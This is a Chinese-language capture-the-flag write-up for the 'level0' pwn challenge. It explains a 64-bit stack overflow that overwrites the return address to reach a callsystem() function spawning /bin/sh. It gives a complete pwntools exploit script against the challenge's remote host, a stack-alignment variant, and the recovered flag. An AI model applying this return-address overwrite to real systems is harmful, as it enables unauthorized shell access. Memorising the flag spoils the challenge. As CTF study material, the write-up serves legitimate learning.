【攻防世界】level0
收获
经典栈溢出漏洞
64 位修改函数跳转地址
Glibc 版本引起的 64 位程序的堆栈平衡问题
思路
查看文件信息:
尝试执行文件:
在 IDA 中分析:
首先通过 write()
输出 Hello, World\n
,然后执行 vulnerable_function()
,跟进:
通过 read()
输入 0x200
个字符
在 IDA 左侧发现一个 callsystem()
函数
用来执行 system("/bin/sh")
,而通过正常的 main()
函数是无法执行这个 callsystem()
函数的,因此本题的目的是要想办法修改函数的返回值转而执行 callsystem()
函数
查看输入的 buf
在栈中的位置:
这里的 r
就是 ret
,代表函数的返回地点
因此通过输入 buf
的数据覆盖来修改 r
为 callsystem()
函数的地址,就可以使程序转而执行 callsystem()
函数
脚本
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
elf = ELF("./level0") # 生成对象elf
callsystem_addr = elf.symbols["callsystem"] # 获取callsystem函数的地址,本题为:0x0400596,在ida中可以看到函数的地址
def main():
if content == 1:
io = process("./level0") # 程序在kali的路径
else:
io = remote("61.147.171.105", 52125) # 题目的远程端口
payload = b'a' * (0x80 - 0x00 + 0x08) + p64(callsystem_addr) # 这里不用callsystem_addr直接用0x0400596也是可以的
io.recvuntil("Hello, World\n")
io.sendline(payload)
io.interactive()
main()
注意:
这个脚本在远程可以打通,但是 Ubuntu 22.04 本地不可以远程使用 payload:
payload = b'a' * (0x80 - 0x00 + 0x08) + p64(callsystem_addr)
payload = b'a' * (0x80 - 0x00 + 0x08) + p64(ret_addr) + p64(callsystem_addr)
两者之一都可以打通但是在本地 Ubuntu 22.04 中,必须使用:
payload = b'a' * (0x80 - 0x00 + 0x08) + p64(ret_addr) + p64(callsystem_addr)
需要加上p64(ret_addr)
堆栈平衡详见本站《PWN中Glibc引起的64位程序的堆栈平衡》一文
结果
cyberpeace{4fe5a9ae3ea3933da95ede70cc81c13a}
只出现了 [*] Switching to interactive mode
,而没有 [*] Got EOF while reading in interactive
,说明已经 PWN 通,得到 flag